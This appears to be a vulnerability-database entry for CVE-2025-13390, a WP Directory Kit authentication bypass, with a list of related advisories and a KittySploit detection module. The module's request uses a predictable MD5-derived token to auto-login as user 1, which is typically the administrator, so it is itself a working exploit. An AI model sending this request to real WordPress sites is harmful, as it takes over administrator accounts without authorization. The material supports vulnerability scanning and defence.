WP Directory Kit <= 1.4.4 - Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Incorrect Implementation of Authentication Algorithm in Wpdirectorykit Wp_Directory_Kit | 5 Jan 202618:45 | – | githubexploit | |
| Exploit for CVE-2025-13390 | 20 Nov 202501:45 | – | githubexploit | |
| CVE-2025-13390 | 3 Dec 202515:28 | – | circl | |
| WordPress plugin WP Directory Kit 安全漏洞 | 3 Dec 202500:00 | – | cnnvd | |
| CVE-2025-13390 | 3 Dec 202513:52 | – | cve | |
| CVE-2025-13390 WP Directory Kit <= 1.4.4 - Authentication Bypass to Privilege Escalation via Account Takeover | 3 Dec 202513:52 | – | cvelist | |
| EUVD-2025-200972 | 3 Dec 202513:52 | – | euvd | |
| CVE-2025-13390 | 15 Oct 202612:54 | – | kitploit | |
| CVE-2025-13390 | 15 Oct 202618:10 | – | kitploit | |
| WP Directory Kit <= 1.4.4 - Authentication Bypass | 17 Oct 202602:05 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The WP Directory Kit plugin for WordPress version 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WP Directory Kit <= 1.4.4 - Authentication Bypass Detection',
'description': 'The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2025', 'wordpress', 'wp', 'wp-plugin', 'auth-bypass', 'wpdirectorykit', 'vkev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116',
'https://ryankozak.com/posts/cve-2025-13390/',
'https://github.com/d0n601/CVE-2025-13390',
'https://nvd.nist.gov/vuln/detail/CVE-2025-13390',
],
'cve': 'CVE-2025-13390',
}
def run(self):
path = '/?auto-login=1&user_id=1&token=c4ca4238a0'
r = self.http_request(method='GET', path=path, allow_redirects=True, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
if not r or r.status_code != 302:
return False
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
header_any = ('wordpress_logged_in_', 'set-cookie',)
if any(m in headers for m in header_any):
self.set_info(severity='critical', reason='WP Directory Kit <= 1.4.4 - Authentication Bypass detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8 - 10
EPSS0.04555
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